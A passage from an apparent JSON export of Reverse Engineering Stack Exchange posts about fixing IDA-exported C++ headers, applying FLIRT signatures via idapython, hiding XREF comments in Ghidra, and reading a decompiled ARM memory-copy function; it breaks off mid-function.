std::map&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Tree&lt;std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 706 */\nstruct World\n{\n  WorldVtbl *vfptr;\n  std::set&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; m_players;\n  std::set&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; m_actors;\n  std::map&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; m_actorsById;\n  ILocalPlayer *m_localPlayer;\n  unsigned int m_nextId;\n  std::map&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; m_aiZones;\n};\n\n/* 259 */\nstruct ActorRef&lt;IPlayer&gt;\n{\n  IPlayer *m_object;\n};\n\n/* 1618 */\nstruct __cppobj ClientWorld : World\n{\n  ActorRef&lt;IPlayer&gt; m_activePlayer;\n  float m_timeUntilNextNetTick;\n};\n</code></pre>\n",
        "Title": "IDA exported header full of errors",
        "Tags": "|ida|c++|",
        "Answer": "<p>First, you need to include the std libs you need</p>\n<pre><code>#include &lt;xtree&gt;\n#include &lt;set&gt;\n#include &lt;map&gt;\n#include &lt;functional&gt;\n</code></pre>\n<p>Second you need to remove &quot;struct&quot; before all the variable declarations that aren't structs</p>\n<p>and third you should delete everything from this header you don't need, it's 90% garbage</p>\n<p>remove all instances of &quot;__cppobj&quot;</p>\n<p>You also need to define ActorRef, World &amp; WorldVtbl.</p>\n<p>I was able to remove 99% of errors by doing these things:</p>\n<pre><code>#include &lt;xtree&gt;\n#include &lt;set&gt;\n#include &lt;map&gt;\n#include &lt;functional&gt;\n\n#define __int8 char\n#define __int16 short\n#define __int32 int\n#define __int64 long long\n\nstruct IPlayer\n{\n\n};\n\nstruct ILocalPlayer\n{\n\n};\n\nstruct IActor\n{\n\n};\n\ntemplate &lt;class T&gt;\nclass ActorRef\n{\npublic:\n    IPlayer* m_object;\n};\n\nstruct AIZone\n{\n    \n};\n\nstruct WorldVtbl\n{\n\n};\n\n#define __int8 char\n#define __int16 short\n#define __int32 int\n#define __int64 long long\n\nstruct IPlayer;\nstruct ILocalPlayer;\n\nstruct std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Container_base0\n{\n    std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;, void*&gt;* _Myhead;\n    unsigned int _Mysize;\n};\n\nstruct std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Container_base0\n{\n    std::_Tree_node&lt;ActorRef&lt;IActor&gt;, void*&gt;* _Myhead;\n    unsigned int _Mysize;\n};\n\nstruct std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Container_base0\n{\n    std::_Tree_node&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt;, void*&gt;* _Myhead;\n    unsigned int _Mysize;\n};\n\nstruct std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt; &gt; &gt; : std::_Container_base0\n{\n    std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt;, void*&gt;* _Myhead;\n    unsigned int _Mysize;\n};\n\nstruct World\n{\n    WorldVtbl* vfptr;\n    std::set&lt;ActorRef&lt;IPlayer&gt;, std::less&lt;ActorRef&lt;IPlayer&gt; &gt;, std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; m_players;\n    std::set&lt;ActorRef&lt;IActor&gt;, std::less&lt;ActorRef&lt;IActor&gt; &gt;, std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; m_actors;\n    std::map&lt;unsigned int, ActorRef&lt;IActor&gt;, std::less&lt;unsigned int&gt;, std::allocator&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt; &gt; &gt; m_actorsById;\n    ILocalPlayer* m_localPlayer;\n    unsigned int m_nextId;\n    std::map&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;, AIZone*, std::less&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; &gt;, std::allocator&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt; &gt; &gt; m_aiZones;\n};\n\nstruct ClientWorld : World\n{\n    ActorRef&lt;IPlayer&gt; m_activePlayer;\n    float m_timeUntilNextNetTick;\n};\n</code></pre>\n<p>My opinion is using a tool like <a href=\"https://github.com/ReClassNET/ReClass.NET\" rel=\"nofollow noreferrer\">ReClass.NET</a> is much easier for reversing structures and exporting header files, you should give it a try and see if it fits your needs.</p>\n"
    },
    {
        "Id": "25395",
        "CreationDate": "2020-06-25T20:32:22.860",
        "Body": "<p>I'm writing a script to find out how many functions were recognized after applying a <strong>FLIRT</strong> signature library, I'm using idapython I would like to know if I can apply the signatures by the script.</p>\n",
        "Title": "Is there any way to apply FLIRT signatures through a script like idapython?",
        "Tags": "|ida|idapython|ida-plugin|flirt-signatures|",
        "Answer": "<p>You can apply FLIRT signatures using <code>plan_to_apply_idasgn</code> function from <code>ida_funcs</code> module.</p>\n<p>From the <a href=\"https://hex-rays.com/wp-content/static/products/ida/support/idapython_docs/ida_funcs.html\" rel=\"nofollow noreferrer\">official API documentation</a>:</p>\n<blockquote>\n<p><code>def plan_to_apply_idasgn(*args) \u2011&gt; int</code></p>\n<p>Add a signature file to the list of planned signature files.<br />\n<strong>plan_to_apply_idasgn(fname) -&gt; int</strong><br />\n<strong>fname</strong>: file name. should not contain directory part. (C++:\nconst char *)<br />\n<strong>return</strong>: 0 if failed, otherwise number of planned (and applied)\nsignatures</p>\n</blockquote>\n<p>If you have an older version of IDA (before <code>7.4</code>), you can use <code>idc.ApplySig</code> function (see <a href=\"https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695/\" rel=\"nofollow noreferrer\">link</a> and <a href=\"https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide/\" rel=\"nofollow noreferrer\">link</a>).</p>\n"
    },
    {
        "Id": "25398",
        "CreationDate": "2020-06-26T02:12:55.017",
        "Body": "<p>Sometimes a function will have a series of XREF comments next to it in the disassembly view such as in the following example:</p>\n<pre><code>                     **************************************************************\n                     *                          FUNCTION                          *\n                     **************************************************************\n                     void __stdcall FUN_803adb50(void)\n                       assume GQR0 = 0x0\n                       assume GQR1 = 0x0\n                       assume GQR2 = 0x40004\n                       assume GQR3 = 0x50005\n                       assume GQR4 = 0x60006\n                       assume GQR5 = 0x70007\n                       assume GQR6 = 0x0\n                       assume GQR7 = 0x0\n                       assume r13 = 0x805dd0e0\n                       assume r2 = 0x805e6700\n     void              &lt;VOID&gt;         &lt;RETURN&gt;\n                     FUN_803adb50                                    XREF[357]:   FUN_80058564:80058574(c), \n                                                                                  FUN_80058a80:80058a90(c), \n                                                                                  FUN_8005c298:8005c2a8(c), \n                                                                                  FUN_80288c48:80288c58(c), \n                                                                                  FUN_802b0ab8:802b0ac8(c), \n                                                                                  FUN_802b3860:802b3870(c), \n                                                                                  FUN_802b3a4c:802b3a5c(c), \n                                                                                  FUN_802b4f94:802b4fa4(c), \n                                                                                  FUN_802b563c:802b564c(c), \n                                                                                  FUN_802c81cc:802c81dc(c), \n                                                                                  FUN_802ca894:802ca8a4(c), \n                                                                                  FUN_802cd8f0:802cd908(c), \n                                                                                  AnimationTreeSomething:802d1ff8(\n                                                                                  FUN_8040fd5c:8040fd6c(c), \n                                                                                  FUN_80418708:80418718(c), \n                                                                                  FUN_8041e46c:8041e47c(c), \n                                                                                  FUN_80444fe0:80444ff0(c), \n                                                                                  FUN_80445cf4:80445d04(c), \n                                                                                  FUN_80446d80:80446d90(c), \n                                                                                  FUN_8044c500:8044c510(c), [more]\n</code></pre>\n<p>How can I turn these off (and on)?</p>\n",
        "Title": "How to turn off XREF comments in Ghidra's disassembly view?",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>Just press the <code>Edit the listing fields</code> button</p>\n<p><a href=\"https://i.stack.imgur.com/t2M9G.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t2M9G.png\" alt=\"enter image description here\" /></a></p>\n<p>Then go to the <code>Instruction/Data</code> section</p>\n<p><a href=\"https://i.stack.imgur.com/SbKeQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SbKeQ.png\" alt=\"enter image description here\" /></a></p>\n<p>Right-click on <code>XRef Header</code> and <code>XRef</code> and from the menu choose <code>Disable field</code>.</p>\n"
    },
    {
        "Id": "25410",
        "CreationDate": "2020-06-27T15:54:32.623",
        "Body": "<p>This is my first time doing RE on a statically linked and stripped binary with ghidra. And I'm having a really hard time analyzing what function does what just by looking the decompiled code present by ghidra.</p>\n<p>Ghidra recognised the binary language ID as <code>ARM:LE:32:v8</code> and I'm especially stuck on this function:</p>\n<pre><code>undefined8 ToSolve1(uint *param_1,uint *param_2,int param_3,uint param_4)\n\n{\n  uint *puVar1;\n  uint *puVar2;\n  byte *pbVar3;\n  byte *pbVar4;\n  uint *puVar5;\n  uint *puVar6;\n  byte *pbVar7;\n  int iVar8;\n  int iVar9;\n  int iVar10;\n  byte bVar11;\n  uint uVar12;\n  uint uVar13;\n  uint uVar14;\n  uint uVar15;\n  uint uVar16;\n  bool bVar17;\n  bool bVar18;\n  \n  if (param_2 &lt; param_1) {\n    param_2 = (uint *)((int)param_2 + param_3);\n    param_1 = (uint *)((int)param_1 + param_3);\n    iVar8 = param_3 + -4;\n    iVar10 = iVar8;\n    if (param_3 &lt; 4) goto LAB_0003ba2c;\n    uVar13 = (uint)param_1 &amp; 3;\n    if (uVar13 != 0) {\n      bVar11 = *(byte *)(uint *)((int)param_2 + -1);\n      *(byte *)(uint *)((int)param_1 + -1) = bVar11;\n      puVar2 = (uint *)((int)param_1 + -1);\n      puVar1 = (uint *)((int)param_2 + -1);\n      if (1 &lt; uVar13) {\n        bVar11 = *(byte *)(uint *)((int)param_2 + -2);\n        *(byte *)(uint *)((int)param_1 + -2) = bVar11;\n        puVar2 = (uint *)((int)param_1 + -2);\n        puVar1 = (uint *)((int)param_2 + -2);\n      }\n      param_2 = puVar1;\n      param_1 = puVar2;\n      if (2 &lt; uVar13) {\n        param_2 = (uint *)((int)param_2 + -1);\n        bVar11 = *(byte *)param_2;\n      }\n      param_4 = (uint)bVar11;\n      if (2 &lt; uVar13) {\n        param_1 = (uint *)((int)param_1 + -1);\n        *(byte *)param_1 = bVar11;\n      }\n      iVar10 = iVar8 - uVar13;\n      bVar17 = iVar8 &lt; (int)uVar13;\n      iVar8 = iVar10;\n      if (bVar17) goto LAB_0003ba2c;\n    }\n    uVar13 = (uint)param_2 &amp; 3;\n    if (uVar13 == 0) {\n      iVar9 = iVar8 + -8;\n      if (7 &lt; iVar8) {\n        iVar8 = iVar8 + -0x1c;\n        iVar10 = iVar8;\n        if (0x13 &lt; iVar9) {\n          do {\n            uVar16 = param_2[-2];\n            uVar14 = param_2[-3];\n            uVar13 = param_2[-4];\n            param_1[-1] = param_2[-1];\n            param_1[-2] = uVar16;\n            param_1[-3] = uVar14;\n            param_1[-4] = uVar13;\n            puVar2 = param_2 + -5;\n            uVar14 = param_2[-6];\n            uVar13 = param_2[-7];\n            param_2 = param_2 + -8;\n            param_4 = *param_2;\n            param_1[-5] = *puVar2;\n            param_1[-6] = uVar14;\n            param_1[-7] = uVar13;\n            param_1 = param_1 + -8;\n            *param_1 = param_4;\n            iVar8 = iVar10 + -0x20;\n            bVar17 = 0x1f &lt; iVar10;\n            iVar10 = iVar8;\n          } while (bVar17);\n        }\n        if (iVar8 + 0x10 &lt; 0 == SCARRY4(iVar8,0x10)) {\n          puVar2 = param_2 + -1;\n          uVar14 = param_2[-2];\n          uVar13 = param_2[-3];\n          param_2 = param_2 + -4;\n          param_4 = *param_2;\n          param_1[-1] = *puVar2;\n          param_1[-2] = uVar14;\n          param_1[-3] = uVar13;\n          param_1 = param_1 + -4;\n          *param_1 = param_4;\n          iVar8 = iVar8 + -0x10;\n        }\n        iVar9 = iVar8 + 0x14;\n        if (iVar9 &lt; 0 == SCARRY4(iVar8,0x14)) {\n          puVar2 = param_2 + -1;\n          uVar13 = param_2[-2];\n          param_2 = param_2 + -3;\n          param_4 = *param_2;\n          param_1[-1] = *puVar2;\n          param_1[-2] = uVar13;\n          param_1 = param_1 + -3;\n          *param_1 = param_4;\n          iVar9 = iVar8 + 8;\n        }\n      }\n      iVar10 = iVar9 + 8;\n      if (iVar10 &lt; 0 == SCARRY4(iVar9,8)) {\n        if (iVar10 &lt; 4) {\n          param_2 = param_2 + -1;\n          param_4 = *param_2;\n        }\n        if (iVar9 + 4 &lt; 0 == SBORROW4(iVar10,4)) {\n          puVar2 = param_2 + -1;\n          param_2 = param_2 + -2;\n          uVar13 = *param_2;\n          param_1[-1] = *puVar2;\n          param_1 = param_1 + -2;\n          *param_1 = uVar13;\n          iVar10 = iVar9;\n        }\n        else {\n          param_1 = param_1 + -1;\n          *param_1 = param_4;\n          iVar10 = iVar9 + 4;\n        }\n      }\n      goto LAB_0003ba2c;\n    }\n    param_2 = (uint *)((uint)param_2 &amp; 0xfffffffc);\n    uVar14 = *param_2;\n    if (1 &lt; uVar13) {\n      if (uVar13 == 2) {\n        if (iVar8 &lt; 0xc) {\nLAB_0003bb4c:\n          do {\n            uVar13 = uVar14 &lt;&lt; 0x10;\n            param_2 = param_2 + -1;\n            uVar14 = *param_2;\n            param_1 = param_1 + -1;\n            *param_1 = uVar13 | uVar14 &gt;&gt; 0x10;\n            iVar10 = iVar8 + -4;\n            bVar17 = 3 &lt; iVar8;\n            iVar8 = iVar10;\n          } while (bVar17);\n        }\n        else {\n          iVar8 = iVar8 + -0xc;\n          do {\n            iVar9 = iVar8;\n            uVar13 = uVar14 &lt;&lt; 0x10;\n            uVar15 = param_2[-1];\n            uVar12 = param_2[-2];\n            uVar16 = param_2[-3];\n            param_2 = param_2 + -4;\n            uVar14 = *param_2;\n            param_1[-1] = uVar13 | uVar15 &gt;&gt; 0x10;\n            param_1[-2] = uVar15 &lt;&lt; 0x10 | uVar12 &gt;&gt; 0x10;\n            param_1[-3] = uVar12 &lt;&lt; 0x10 | uVar16 &gt;&gt; 0x10;\n            param_1 = param_1 + -4;\n            *param_1 = uVar16 &lt;&lt; 0x10 | uVar14 &gt;&gt; 0x10;\n            iVar8 = iVar9 + -0x10;\n          } while (0xf &lt; iVar9);\n          iVar10 = iVar9 + -4;\n          iVar8 = iVar10;\n          if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bb4c;\n        }\n        param_2 = (uint *)((int)param_2 + 2);\n        goto LAB_0003ba2c;\n      }\n      if (iVar8 &lt; 0xc) {\nLAB_0003bae0:\n        do {\n          uVar13 = uVar14 &lt;&lt; 8;\n          param_2 = param_2 + -1;\n          uVar14 = *param_2;\n          param_1 = param_1 + -1;\n          *param_1 = uVar13 | uVar14 &gt;&gt; 0x18;\n          iVar10 = iVar8 + -4;\n          bVar17 = 3 &lt; iVar8;\n          iVar8 = iVar10;\n        } while (bVar17);\n      }\n      else {\n        iVar8 = iVar8 + -0xc;\n        do {\n          iVar9 = iVar8;\n          uVar13 = uVar14 &lt;&lt; 8;\n          uVar15 = param_2[-1];\n          uVar12 = param_2[-2];\n          uVar16 = param_2[-3];\n          param_2 = param_2 + -4;\n          uVar14 = *param_2;\n          param_1[-1] = uVar13 | uVar15 &gt;&gt; 0x18;\n          param_1[-2] = uVar15 &lt;&lt; 8 | uVar12 &gt;&gt; 0x18;\n          param_1[-3] = uVar12 &lt;&lt; 8 | uVar16 &gt;&gt; 0x18;\n          param_1 = param_1 + -4;\n          *param_1 = uVar16 &lt;&lt; 8 | uVar14 &gt;&gt; 0x18;\n          iVar8 = iVar9 + -0x10;\n        } while (0xf &lt; iVar9);\n        iVar10 = iVar9 + -4;\n        iVar8 = iVar10;\n        if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bae0;\n      }\n      param_2 = (uint *)((int)param_2 + 3);\n      goto LAB_0003ba2c;\n    }\n    if (iVar8 &lt; 0xc) {\nLAB_0003bbb8:\n      do {\n        uVar13 = uVar14 &lt;&lt; 0x18;\n        param_2 = param_2 + -1;\n        uVar14 = *param_2;\n        param_1 = param_1 + -1;\n        *param_1 = uVar13 | uVar14 &gt;&gt; 8;\n        iVar10 = iVar8 + -4;\n        bVar17 = 3 &lt; iVar8;\n        iVar8 = iVar10;\n      } while (bVar17);\n    }\n    else {\n      iVar8 = iVar8 + -0xc;\n      do {\n        iVar9 = iVar8;\n        uVar13 = uVar14 &lt;&lt; 0x18;\n        uVar15 = param_2[-1];\n        uVar12 = param_2[-2];\n        uVar16 = param_2[-3];\n        param_2 = param_2 + -4;\n        uVar14 = *param_2;\n        param_1[-1] = uVar13 | uVar15 &gt;&gt; 8;\n        param_1[-2] = uVar15 &lt;&lt; 0x18 | uVar12 &gt;&gt; 8;\n        param_1[-3] = uVar12 &lt;&lt; 0x18 | uVar16 &gt;&gt; 8;\n        param_1 = param_1 + -4;\n        *param_1 = uVar16 &lt;&lt; 0x18 | uVar14 &gt;&gt; 8;\n        iVar8 = iVar9 + -0x10;\n      } while (0xf &lt; iVar9);\n      iVar10 = iVar9 + -4;\n      iVar8 = iVar10;\n      if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bbb8;\n    }\n    param_2 = (uint *)((int)param_2 + 1);\nLAB_0003ba2c:\n    iVar8 = iVar10 + 4;\n    if (iVar8 != 0) {\n      bVar18 = SBORROW4(iVar8,2);\n      bVar17 = iVar10 + 2 &lt; 0;\n      pbVar7 = (byte *)((int)param_2 + -1);\n      bVar11 = *pbVar7;\n      pbVar3 = (byte *)((int)param_1 + -1);\n      *pbVar3 = bVar11;\n      if (1 &lt; iVar8) {\n        pbVar7 = (byte *)((int)param_2 + -2);\n        bVar11 = *pbVar7;\n      }\n      if (bVar17 == bVar18) {\n        pbVar3 = (byte *)((int)param_1 + -2);\n        *pbVar3 = bVar11;\n      }\n      if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) {\n        pbVar7 = pbVar7 + -1;\n        bVar11 = *pbVar7;\n      }\n      if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) {\n        pbVar3 = pbVar3 + -1;\n        *pbVar3 = bVar11;\n      }\n      return CONCAT44(pbVar3,pbVar7);\n    }\n    return CONCAT44(param_1,param_2);\n  }\n  if (param_2 == param_1) {\n    return CONCAT44(param_1,param_2);\n  }\n  iVar8 = param_3 + -4;\n  puVar2 = param_1;\n  iVar10 = iVar8;\n  if (param_3 &lt; 4) goto LAB_0003b7ec;\n  if (((uint)param_1 &amp; 3) == 0) {\n    uVar13 = (uint)param_2 &amp; 3;\n    puVar1 = param_1;\n  }\n  else {\n    iVar10 = -((uint)param_1 &amp; 3);\n    iVar9 = iVar10 + 4;\n    bVar18 = SBORROW4(iVar9,2);\n    bVar17 = iVar10 + 2 &lt; 0;\n    bVar11 = *(byte *)param_2;\n    *(byte *)param_1 = bVar11;\n    puVar2 = (uint *)((int)param_2 + 1);\n    if (1 &lt; iVar9) {\n      puVar2 = (uint *)((int)param_2 + 2);\n      bVar11 = *(byte *)(uint *)((int)param_2 + 1);\n    }\n    puVar1 = (uint *)((int)param_1 + 1);\n    if (bVar17 == bVar18) {\n      puVar1 = (uint *)((int)param_1 + 2);\n      *(byte *)(uint *)((int)param_1 + 1) = bVar11;\n    }\n    param_2 = puVar2;\n    if (iVar9 != 2 &amp;&amp; bVar17 == bVar18) {\n      param_2 = (uint *)((int)puVar2 + 1);\n      bVar11 = *(byte *)puVar2;\n    }\n    param_4 = (uint)bVar11;\n    puVar2 = puVar1;\n    if (iVar9 != 2 &amp;&amp; bVar17 == bVar18) {\n      puVar2 = (uint *)((int)puVar1 + 1);\n      *(byte *)puVar1 = bVar11;\n    }\n    iVar10 = iVar8 - iVar9;\n    if (iVar8 &lt; iVar9) goto LAB_0003b7ec;\n    uVar13 = (uint)param_2 &amp; 3;\n    iVar8 = iVar10;\n    puVar1 = puVar2;\n  }\n  if (uVar13 == 0) {\n    iVar9 = iVar8 + -8;\n    if (7 &lt; iVar8) {\n      iVar8 = iVar8 + -0x1c;\n      if (0x13 &lt; iVar9) {\n        do {\n          iVar10 = iVar8;\n          puVar5 = param_2;\n          puVar2 = puVar1;\n          uVar13 = puVar5[1];\n          uVar14 = puVar5[2];\n          uVar16 = puVar5[3];\n          *puVar2 = *puVar5;\n          puVar2[1] = uVar13;\n          puVar2[2] = uVar14;\n          puVar2[3] = uVar16;\n          param_4 = puVar5[4];\n          uVar13 = puVar5[5];\n          uVar14 = puVar5[6];\n          uVar16 = puVar5[7];\n          param_2 = puVar5 + 8;\n          puVar2[4] = param_4;\n          puVar2[5] = uVar13;\n          puVar2[6] = uVar14;\n          puVar2[7] = uVar16;\n          puVar1 = puVar2 + 8;\n          iVar8 = iVar10 + -0x20;\n        } while (0x1f &lt; iVar10);\n        if (iVar10 + -0x10 &lt; 0 == SCARRY4(iVar8,0x10)) {\n          param_4 = *param_2;\n          uVar13 = puVar5[9];\n          uVar14 = puVar5[10];\n          uVar16 = puVar5[0xb];\n          param_2 = puVar5 + 0xc;\n          *puVar1 = param_4;\n          puVar2[9] = uVar13;\n          puVar2[10] = uVar14;\n          puVar2[0xb] = uVar16;\n          puVar1 = puVar2 + 0xc;\n          iVar8 = iVar10 + -0x30;\n        }\n      }\n      bVar18 = SCARRY4(iVar8,0x14);\n      iVar9 = iVar8 + 0x14;\n      bVar17 = iVar9 &lt; 0;\n      do {\n        if (bVar17 == bVar18) {\n          param_4 = *param_2;\n          uVar13 = param_2[1];\n          uVar14 = param_2[2];\n          param_2 = param_2 + 3;\n          *puVar1 = param_4;\n          puVar1[1] = uVar13;\n          puVar1[2] = uVar14;\n          puVar1 = puVar1 + 3;\n          bVar18 = SBORROW4(iVar9,0xc);\n          iVar9 = iVar9 + -0xc;\n          bVar17 = iVar9 &lt; 0;\n        }\n      } while (bVar17 == bVar18);\n    }\n    iVar10 = iVar9 + 8;\n    puVar2 = puVar1;\n    if (iVar10 &lt; 0 == SCARRY4(iVar9,8)) {\n      if (iVar10 &lt; 4) {\n        param_4 = *param_2;\n        param_2 = param_2 + 1;\n      }\n      if (iVar9 + 4 &lt; 0 == SBORROW4(iVar10,4)) {\n        uVar13 = *param_2;\n        uVar14 = param_2[1];\n        param_2 = param_2 + 2;\n        *puVar1 = uVar13;\n        puVar1[1] = uVar14;\n        puVar2 = puVar1 + 2;\n        iVar10 = iVar9;\n      }\n      else {\n        puVar2 = puVar1 + 1;\n        *puVar1 = param_4;\n        iVar10 = iVar9 + 4;\n      }\n    }\n    goto LAB_0003b7ec;\n  }\n  puVar5 = (uint *)((uint)param_2 &amp; 0xfffffffc) + 1;\n  uVar14 = *(uint *)((uint)param_2 &amp; 0xfffffffc);\n  if (uVar13 &lt; 3) {\n    if (uVar13 == 2) {\n      puVar6 = puVar5;\n      if (iVar8 &lt; 0xc) {\nLAB_0003b910:\n        do {\n          uVar13 = uVar14 &gt;&gt; 0x10;\n          puVar5 = puVar6 + 1;\n          uVar14 = *puVar6;\n          puVar2 = puVar1 + 1;\n          *puVar1 = uVar13 | uVar14 &lt;&lt; 0x10;\n          iVar10 = iVar8 + -4;\n          bVar17 = 3 &lt; iVar8;\n          puVar1 = puVar2;\n          puVar6 = puVar5;\n          iVar8 = iVar10;\n        } while (bVar17);\n      }\n      else {\n        iVar8 = iVar8 + -0xc;\n        do {\n          iVar9 = iVar8;\n          uVar13 = uVar14 &gt;&gt; 0x10;\n          uVar16 = *puVar5;\n          uVar12 = puVar5[1];\n          uVar15 = puVar5[2];\n          uVar14 = puVar5[3];\n          puVar5 = puVar5 + 4;\n          *puVar1 = uVar13 | uVar16 &lt;&lt; 0x10;\n          puVar1[1] = uVar16 &gt;&gt; 0x10 | uVar12 &lt;&lt; 0x10;\n          puVar1[2] = uVar12 &gt;&gt; 0x10 | uVar15 &lt;&lt; 0x10;\n          puVar1[3] = uVar15 &gt;&gt; 0x10 | uVar14 &lt;&lt; 0x10;\n          puVar1 = puVar1 + 4;\n          iVar8 = iVar9 + -0x10;\n        } while (0xf &lt; iVar9);\n        iVar10 = iVar9 + -4;\n        puVar2 = puVar1;\n        puVar6 = puVar5;\n        iVar8 = iVar10;\n        if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b910;\n      }\n      param_2 = (uint *)((int)puVar5 + -2);\n      goto LAB_0003b7ec;\n    }\n    puVar6 = puVar5;\n    if (iVar8 &lt; 0xc) {\nLAB_0003b8a4:\n      do {\n        uVar13 = uVar14 &gt;&gt; 8;\n        puVar5 = puVar6 + 1;\n        uVar14 = *puVar6;\n        puVar2 = puVar1 + 1;\n        *puVar1 = uVar13 | uVar14 &lt;&lt; 0x18;\n        iVar10 = iVar8 + -4;\n        bVar17 = 3 &lt; iVar8;\n        puVar1 = puVar2;\n        puVar6 = puVar5;\n        iVar8 = iVar10;\n      } while (bVar17);\n    }\n    else {\n      iVar8 = iVar8 + -0xc;\n      do {\n        iVar9 = iVar8;\n        uVar13 = uVar14 &gt;&gt; 8;\n        uVar16 = *puVar5;\n        uVar12 = puVar5[1];\n        uVar15 = puVar5[2];\n        uVar14 = puVar5[3];\n        puVar5 = puVar5 + 4;\n        *puVar1 = uVar13 | uVar16 &lt;&lt; 0x18;\n        puVar1[1] = uVar16 &gt;&gt; 8 | uVar12 &lt;&lt; 0x18;\n        puVar1[2] = uVar12 &gt;&gt; 8 | uVar15 &lt;&lt; 0x18;\n        puVar1[3] = uVar15 &gt;&gt; 8 | uVar14 &lt;&lt; 0x18;\n        puVar1 = puVar1 + 4;\n        iVar8 = iVar9 + -0x10;\n      } while (0xf &lt; iVar9);\n      iVar10 = iVar9 + -4;\n      puVar2 = puVar1;\n      puVar6 = puVar5;\n      iVar8 = iVar10;\n      if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b8a4;\n    }\n    param_2 = (uint *)((int)puVar5 + -3);\n    goto LAB_0003b7ec;\n  }\n  puVar6 = puVar5;\n  if (iVar8 &lt; 0xc) {\nLAB_0003b97c:\n    do {\n      uVar13 = uVar14 &gt;&gt; 0x18;\n      puVar5 = puVar6 + 1;\n      uVar14 = *puVar6;\n      puVar2 = puVar1 + 1;\n      *puVar1 = uVar13 | uVar14 &lt;&lt; 8;\n      iVar10 = iVar8 + -4;\n      bVar17 = 3 &lt; iVar8;\n      puVar1 = puVar2;\n      puVar6 = puVar5;\n      iVar8 = iVar10;\n    } while (bVar17);\n  }\n  else {\n    iVar8 = iVar8 + -0xc;\n    do {\n      iVar9 = iVar8;\n      uVar13 = uVar14 &gt;&gt; 0x18;\n      uVar16 = *puVar5;\n      uVar12 = puVar5[1];\n      uVar15 = puVar5[2];\n      uVar14 = puVar5[3];\n      puVar5 = puVar5 + 4;\n      *puVar1 = uVar13 | uVar16 &lt;&lt; 8;\n      puVar1[1] = uVar16 &gt;&gt; 0x18 | uVar12 &lt;&lt; 8;\n      puVar1[2] = uVar12 &gt;&gt; 0x18 | uVar15 &lt;&lt; 8;\n      puVar1[3] = uVar15 &gt;&gt; 0x18 | uVar14 &lt;&lt; 8;\n      puVar1 = puVar1 + 4;\n      iVar8 = iVar9 + -0x10;\n    } while (0xf &lt; iVar9);\n    iVar10 = iVar9 + -4;\n    puVar2 = puVar1;\n    puVar6 = puVar5;\n    iVar8 = iVar10;\n    if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b97c;\n  }\n  param_2 = (uint *)((int)puVar5 + -1);\nLAB_0003b7ec:\n  iVar8 = iVar10 + 4;\n  if (iVar8 != 0) {\n    bVar18 = SBORROW4(iVar8,2);\n    bVar17 = iVar10 + 2 &lt; 0;\n    bVar11 = *(byte *)param_2;\n    *(byte *)puVar2 = bVar11;\n    pbVar3 = (byte *)((int)param_2 + 